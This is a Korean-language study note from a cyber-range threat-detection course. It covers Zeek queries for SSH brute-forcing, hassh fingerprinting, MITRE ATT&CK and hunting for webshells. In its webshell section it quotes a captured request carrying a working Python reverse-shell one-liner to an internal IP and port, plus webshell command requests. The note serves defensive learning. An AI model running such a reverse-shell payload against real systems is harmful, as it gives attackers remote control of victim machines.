23년 실전형사이버훈련장 - 위협이벤트 식별훈련(2일차)

-SSH Bruteforcing 식별

Non-EtM이 적용된 SSH세션을 대상으로 한 bruteforcing 식별(저번 시간에 etm 적용된 ssh세션 브루트포싱 식별 봤음)

주이에서는 패킷 길이를 보고 인증 성공여부를 알려주는데, non-etm의 경우에는 모르니 성공여부가 null로 나옴

그러면 뭘 보고 브루트포싱인걸 파악할까?

->  짧은 시간안에 같은 세션(통신내역이 같다  = 패킷내역이 같다)이 여러번 보이면 의심 가능, 그 세션의 동일한 점을 검색해서 총 몇개인지 확인해보자. 세션유지시간 duration도 매우 작을 거라고 예상가능, resp_bytes가 동일할 것으로 예상

암호화 알고리즘은 resp_bytes가 동일한 경우가 많음, 암호화 안된경우는 동일한 요청이여도 응답으로 resp_bytes가 다를 수 있음

history값을 보면, 툴마다 어떻게 뜨는지 다 다르다. 툴이 1번시도할때마다 연결을 끊고 다시할 수도 있고, 아니면 로그인 시도를 계속하면 서버가 Reset응답으로 종료시킬 수도 있다.

 

orig_bytes는 계속 다른 패스워드를 입력할테니 다르다. ssh로 봐도 암호화되어서 어차피 모르니 "conn"으로 본다.

_path == "conn" id.resp_p == 22 duration <= 5s | count() by every(5m), id.orig_h, id.resp_h, resp_bytes

SSH 세션 중 지속 시간이 짧은것들을, 5분단위로 orig_h, resp_h, resp_bytes별로 나타낸다.

 

 

짧은 시간 동안 다수의 SSH 세션을 형성한 클라이언트 식별

_path == "ssh" | count() by every(2m), id.orig_h, id.resp_h, hassh

hassh 값은 뭘까? 

-> ssh 클라이언트를 식별하기 위한 값, Key교환 값들로 만듬. 웹에서 User_Agent같은 값이다. 어떤 IP에서 어떤 프로그램으로 들어온건지 알 수 있다. 웹에서도 크롬, 악성툴 을쓰냐에따라 User_Agent가 다른것과 같다. 일반적인 통신에 악성 툴 사용 내역이 묻힐수도 있으니 User_Agent로 해서 검색하는 것.

hassh는 어떻게 추출할까?

-> 클라이언트가 보낸 알고리즘 Key값들을 바탕으로 해시값 계산

nat을 통해 오는 클라이언트들을 구분하기 위해서 사용 가능

 

 

https://attack.mitre.org/

MITRE ATT&CK®

제품마다 취약점 이름이 다달라서 CVE라는 걸로 이름을 붙여 통일함.

마이트 어택, AIT&CK 프레임워크 - 공격자의 TTP(전술(행위의목적 why), 테크닉(행위방법 how), 프로시저(구체적인 절차와 기술)) 를 집대성 한것. 시그니처 기반 탐지 룰은 우회가 쉬워 IoC방식으로 User_Agent 등 다른 값으로도 탐지, 그러나 근본적으로 시그니처와 유사한 방식이기에 리액티브한 액션이라 선제적인 대응이 안된다. 그래서 선제적인 대응이 되기 위해 시그니처 기반이 아닌 행위기반의 탐지를 하겠다(EDR), 그래서 운영체제, 시스템으로부터 다양한 정보를 수집해 탐지할려고 시도,  요즘은 EDR이 확대되어 XDR까지 나왔다.  행위기반 탐지는 우회하기가 어렵다. 그런데 우리는 공격자의 행위를 몰랐다. 내무방에 침투 후 무슨 행위를 하는가? POST 익스플로잇이라고 한다. 이를 정리한게 어택 프레임워크가 있다. 웹해킹 말고 POST 익스플로잇 공격을 많이봐야 탐지 실력이 늘어난다.

단점으로, 빠짐없이 기록하다 보니, 한번이라도 사용되면 다 등록되어 있어 상당수의 기술은 실제로 사용이 잘 안되는 것일 수도 있다. 그래서 탑20 TTP를 선정하는 작업 하는중.

 

들키지 않고 데이터를 반출하는 방법은 뭘까? 업로드하는건 아닐탠데 Exfiltration(누수) 찾아보자.

 

KILL CHAIN과 개념이 다르다.

 

TTP 예시 Lazarus 그룹의 TTP

전술 : 초기 침투 (내부망 침투)

테크닉 : 스피어피싱 첨부파일

프로시져 : 악성 고스트스크립트를 포함하고 있는 악성 HWP 파일을 첨부한 스피어피싱 이메일 전송

TTP는 공격자의 행위를 객관적으로 일관되게 기술하기 위한 일종의 모델

 

시그니처 기반 탐지 - 특정 패턴이나 시그니처를 기반으로 탐지

IoC - 공격 패턴뿐만 아니라 User_Agent같은 부가적인 값들도 본다. (특정 툴사용 등)

행위기반 탐지 - 어떤 행위를 기반으로 탐지

예시)

-미미카츠(Mimikatz)(해커들이 사용하는 도구)를 이용한 크레덴셜 덤핑(내부망에 침투한 후 ID/PW를 수집하는 과정에서 사용됨, 보통 lSRSS(윈도우 인증을 담당하는)라는 윈도우 프로세스 메모리 영역에 ID/PW가 있는데 여기에 접근해 메모리를 뒤져서 인증번호를 빼오는 방식 등 사용)

중 lsass.exe를 활용한 기술을 탐지하는 방법

시그니처 기반 - Mimikatz의 해시값을 이용, 이런경우 미미카츠를 변형(다른 언어버전)시키면 탐지 못함

행위기반 - lsass.exe 메모리에 접근하는 프로세스를 모니터링

 

-C2(C&C)와 통신하는 악성코드를 탐지하는 방법

시그니처 기반 - 예) IP 블랙리스트 활용, user-agent 문자열 활용 (ip, 도메인 세탁방법 이용해 착한척 접근 가능 등 우회가능)

행위기반 - 예) 주가적인 아웃바운드 커넥션(C2와 통신) 탐지, 베이비 도메인(만들어진지 얼마 안된 도메인) 과의 통신 탐지

왜 C2와 주기적으로 통신? -> 악성코드에서 C2에 체크인 함. 감염시킨 컴퓨터에 실행할게 있는지 주기적으로 물어봄.  

-> 랜덤하게 하면 주기적으로는 아니지만, 아웃바운드 통신은 계속 발생

 

 

중요!!

SSH를 이용해서도 데이터 반출이 가능. MSG_KEXINT에  반출할 데이터를 담아 전송, 이때 hassh를 활용해 찾으면 유용하다. 단일 호스트에서 다수 통신이 있는데, hassh값이 다 다르면 key값에 비정상적인게 끼어있는 비정상적인 행위로 판단 가능. 정상적인 사용자는 하나의 호스트에서 1,2개의 클라이언트만 이용햇을 것이다.

 

 

-웹쉘을 찾아보자

웹쉘은 크게보면 2가지가 있다. 웹쉘이 별도의 파일로 되어있어 웹서버에 업로드 등 해서 웹쉘작업 수행 or 다른 스크립트, 이미지 파일 사이에 한줄짜리 웹쉘이 삽입되어 있는 형태

웹쉘 형태가 많아 공부해보자

 

php는 성능 향상을 위해 이전에 실행된 코드를 바이너리형태로 캐쉬값에 저장한다.

 

웹쉘 URI 식별

임베디드된 파일은 정상적인 소스코드에 삽입되어 있는 형식이라, 해당 uri는 퍼블릭함.

단독파일의 웹쉘은 잘 알려지지 않아 소수의 클라이언트만 접근 가능.

우리의 URI들을 목록화해서 목록에 없는 uri는 수상하다 볼 수 있다.

베이스라인이 없다면, 특정 URI에 접근한 클라이언트가 적은 URI를 찾기.

공격자가 우리 user_agent로 웹쉘에 접근하면 알아채기가 힘들다. 그래서 ip랑 묶어서 보자.

우리가 홈페이지만 보고 나갔어도, 여러 URI에 접근한 것이다. 각 이미지 URI 등에 다 접근

단독 파일의 웹쉘은 대체로 다른 페이지를 통하지 않고 직접 웹셀URI로 접근한다. 그래서 referrer가 없는 경우가 많다.

도메인, root페이지 등은 정상적이지만 직접 입력해서 들어가니 referrer가 없다. 이런 것은 제외해야함.

 

*** 베이스라인 *** 베이스라인 구축에 관심을 가져야 위험식별을 할수있다.

정상적인 상태를 기록해둔 정보들, 예) 우리 회사에서 사용하는 브라우저(user_agent) 등

베이스라인에서 벗어난건 비정상적인 것.

 

웹로그, 패킷로그 분석시 유의할 점이, URI를 조사할 때 파라미터 등이 붙어있을 수 있어 uri를 직접 입력하면 검색 안나올 수 있어 직접 검색하면 안됨.

 

_path == "http" | uri_dissect := parse_uri(uri)

parse_uri는 uri를 uri 컴포넌트별로 쪼게서 보여줌. 그값을 := 해서 uri_dissect라는 이름의 테이블(칼럼)에 저장한다.

_path == "http" | uri_dissect := parse_uri(uri) | uri_dissect.path == "/uploads/dbfunctions.php" 하면

/uploads/dbfunctions.php들어간 uri만 찾아줌.

 

특정 클라이언트 만 접근한 URI 식별

_path == "http" status_code >= 200 status_code <= 299 | uri2 := parse_uri(uri)
| union([id.orig_h, user_agent]) by uri2.path | len(union) <= 2

응답코드가 200~300인것들 뽑고 uri를 쪼게고 uri2라는 변수에 넣고 union해서 클라이언트 합집합 수 계산 후  uri2.path값만 뽑아내고 클라이언트의 접근이 매우적은(2번보다 적은) uri 탐색

union([]) []안의 내용을 리스트처럼 해서 한컬럼에 넣어서 표현해줌.

 

특정 URI에만 접근한 클라이언트 식별

특정 URI(웹쉘)에만 접근한 클라이언트를 찾아보자.

_path == "http" status_code >= 200 status_code <= 299 | uri2 := parse_uri(uri)
| union(uri2.path) by id.orig_h, user_agent | len(union) <= 3

 

 

HTTP referrer를 이용한 웹쉘 URI 식별

referrer값은 직접 입력하거나 바로가기 해두면 안뜬다. pdf, 이메일, 메시지 등 링크 타고 들어가도 안뜬다.

웹쉘도 다른 페이지 안거치고 바로 접근 하는 경향이 있어 uri값이 null값인 경우가 많다.

일부 보안장비들은 referrer를 제거하기도 함, 내부사용자의 referrer을 통해 내부 URI가 외부로 노출될 수 있으니까.

_path == "http" stauts_code >= 200 status_code < 300 |

switch referrer
(   
      case null => ref2 := "null"
      default => ref2 := "notnull"
) 
| uri2 := parse_uri(uri) | grep(/.php$/,uri2.path) | count() by uri2.path, ref2 | sort uri2.path

해당 URI 경로로 모든 referrer 값이 notnull이면 가능성 낮음

해당 URI 경로에 모든 referrer값이 null 이면 웹쉘 의심

null과 notnull이 섞여있다면 다른 분석 결과와 연계하여 봐야함

 

 

웹쉘은 대체로 jsp, asp, aspx, php 등 어플리케이션 확장자를 가짐, 하지만 그림파일(gif, jjpg) 등의 파일에 웹쉘을 은닉할 수 있음

 

클라이언트 접근 수도 적은 URI, Referrer도 없고 ,그 클라이언트들이 특정 URI에만 접근했다면 99% 웹쉘 (종합적으로 봐야함)

 

GET /webshell.jsp?cmd=ifconfig HTTP/1.0

GET방식은 ?뒤에 명령어 등 들어감, 만약 ?뒤에 파라미터가 없으면 웹쉘이라고 판단하기 어려움

 

POST /webshell.jsp HTTP/1.1

Host:www.test.com

(..생략..)

cmd=ifconfig

POST방식은 BODY부분에 명령 등 들어감

 

와이어샤크에서 의심가는 패킷 분석하면 끝. (명령, 조건 입력해서 해당 패킷 찾아야함)

찾아서 보면 ?뒤에 파라미터들이 cmd 등 명령어라 웹쉘임을 알 수 있다. 웹쉘이 정상적으로 실행되면 서버가 응답 안할 수 있다. 예를들어 cmd = whoami하면 표준 출력을 OS에서 받아 응답할 수 있지만 ,리버스쉘은 입력과 출력이 네트워크에서 동작하기에  리버스쉘을 띄우라 명령 받고, 띄우고 난 뒤에도 클라이언트에게 http 응답이 없다. 

/uploads/dbfunctions.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.251.96.4",4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

웹쉘임을 알수있다.

통신을 할때, 클라이언트측에서 tcp->http 요청 2가지가 서버측에 전달되는데, 응답값은 http는 없고 tcp만 있기에 http 응답코드가 없는 것임. tcp로만 웹쉘실행 코드 입력됨.

요청만 있고 응답이 없는건 매우 이상한 경우다. 이는 응답코드가 null이다. null로 해서 찾을 수 있다.

_path == "http" status_code == null

 

wireshark에서 검색.

http.request.uri contains dbfunctions.php - php이름 포함된 요청된 uri찾아라.

follow -> TCP Stream 들어가면 요청 응답 패킷 로그 볼 수 있다.

 

-리버스 쉘(Reverse Shell)

방화벽은 원래 패킷 필터링 방식에서 Stateful inspection 방식임. (방화벽 역사 나중에 보자), 최신엔 DPI임 

패킷필터링은 차단 정보가 패킷에 기록된 헤더값만 보고 판단하는 방식, 인바운드로 웹서버로 들어오면, 80포트 오픈해서 들어오지만, 다시 응답할땐 클라이언트는 임시포트라 모든 임시포트를 다 열어야 통신이 가능하다. 

source port binding이라는 공격이 있는데, 이 공격은 열려있는 포트로 우회해서 들어가는 것. 그래서 source 포트를 기준으로 방화벽을 만들면 안됨. 디폴트값을 허용으로하고 필요한것만 차단하는 방식으로 사용됨. (지금은 블랙리스트 방식, 디폴트가 차단, 필요한것만 오픈) 이 때 해킹은 인, 아웃 임시포트가 모두 오픈되어 있기 때문에  악성코드가 감염된 컴퓨터에 port redirect라는 프로그램 깜. 임시포트로 응답을 받는다. 리다이렉트 프로그램으로 다른 내부 포트 접근 가능.

bind shell을 띄워서 bind shell(특정 포트를 리스닝하고 있는 쉘)은 해당포트로 요청오면 해당 명령 실행. 31337(eleet(엘리트), 해커들이 많이 씀), 지금은 bind shell을 못씀

Stateful inspection(싱크를 받거나 보내는 등 어떤 상태인지를 상태 조사) 패킷정보뿐만 아니라 세션정보도 확인, 기본적으로 디폴트 디나이, 80번 포트만 열음, 포트는 막아놧지만 세션(요청 한것을 기억해놓음)에 기록을 보고 응답함. 내부사용자가 쓸때도 세션을 관찰하기 떄문에 내부사용자가 요청을 보낸것에 대한 응답이란것을 알고 통신 허락함. 화이트리스트방식의 정책구현 가능, bind shell이 먼저 호스트에 접속을 해야만 방화벽을 통과해 세션을 형성 가능. 이런걸 리버스 쉘이라고 한다.

DPI(차세대 방화벽)는 이제 패킷전체(어플리케이션 정보)를 다본다. 헤더값만 보고 막던 시대는 지났다! 이제 내가 원하는 설정, 즉 원하는 uri, 원하는 agent 등을 차단하는게 가능. 세밀한 컨트롤 가능. 웹서버를 열되 특정 사이트는 제외가 가능. 예전에는 안됬음. 옛날에는 컴퓨터 성능이 안좋아서 불가능 했었는데 이제는 가능하다.

 

/uploads/dbfunction.php라는 웹쉘을 업로드 함. 유틸리티파일처럼 이름을 위장해서 업로드.

웹서버는 루트권한 가지면 안됨. 취약점 발견시 웹쉘도 루트권한을 가진다.

0~1024포트까지를 프리빌리지(priviledged) 포트라고 한다. 웰노운포트 아님! 무조건 root권한 가져야함. 마스터가 루트권한이고 나머지는 www권한(워커)이다. 마스터는 www를 관리하는 기능만 함, 듣는건 마스터가 하지만 실제 일하는건 www임. 관리할때 root권리자를 먼저 정지하고 하면 좋다. www는 마스터의 자식클래스라 같은 포트를 가짐

리버스쉘은 1회성이다. 한번 끄면 종료 끊긴다. 그래서 백도어를 유지한다거나 해야함. 웹쉘을 쓰면되는데 왜 리버스 쉘을 띄울까? 대부분 웹쉘은 불편해서 임시로 리버스쉘을 형성해서 명령을 내리는것이다. 리버스쉘은 웹쉘의 자식이다.

 

출현빈도가 낮은 User Agents 분석을 통한 웹쉘 URI 식별

공격도구 사용해 웹쉘통신하는거 탐지, Http user agents 문자열 분석 가능. 홈페이지에 해당 유저에이전트가 유해한지 알수 있음, 검색해보자. http user agent analysis검색해보면 나옴

_path == "http" | count() by user_agent

각 유저에이전트를 카운팅해서 스터핑 하는것

 

 

Basic Auth 가 이루어진 세션 식별

Basic Auth(일반적인 웹사이트에서 안씀) 보통 웹어플리케이션이 대부분 인증 해주기 떄문임.

웹서버가 제공해주는 인식 방법을 통해 웹쉘실행. 원래는 데이터베이스에서 권한받아 하는것

user정보들이 null값인것들임.

 

 

웹로그 / 웹패킷로그를 분석 시 알아두어야 할 분석 요령

1. Method

- 일반적인 웹 브라우저는 GET,POST만을 사용함, 이외 메소드가 사용된 경우에는 일반 브라우저를 이용한 통신이 아닌것으로 해석함(프로그램으로 한것) ,특히 PUT, DELETE, MOVE는 웹어플리케이션의 취약점을 이용하지 않고 웹서버가 제공하는 기능만을 활용하여 웹쉘 업로드를 하는데 악용될 수 있음 

EX) 과거 톰캣에서 PUT 메소드를 허락한 경우가 있어 취약점.

-(주의사항) 오늘날 많이 사용되는 REST API는 GET, POST, PUT, DELETE 메소드를 사용하여 다양한 기능을 요청하도록 설계되어 있음. REST API 서버와 통신하는 것일수도 있음 IP, URI보고 판단잘하자.

CONNECT는 프록시 커넥션을 형성하는데 사용됨 (과거 CONNECT 메소드를 이용한 방화벽 우회와 같은 공격 기법이 존재)

HEAD, OPTIONS, TRACE 메소드는 웹 정보 수집 용도로 사용되기도 함

 

 

 

리액티브 액션(안좋은것) - 공격이 나타나고 나서야 탐지가 가능한 방식 

리버스 쉘은 목표 대상 시스템의 취약점을 이용하여 쉘 세션을 시작한 다음 피해자의 컴퓨터에 액세스

공격자의 컴퓨터에 다시 연결을 설정하고 공격자가 대상 컴퓨터에서 원격으로 명령을 실행할 수 있습니다.

https://www.rasp.co.kr/post/%EB%A6%AC%EB%B2%84%EC%8A%A4-%EC%89%98-reverse-shell-%EC%97%AD%EB%B0%A9%ED%96%A5-%EC%89%98-%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C%EC%9A%94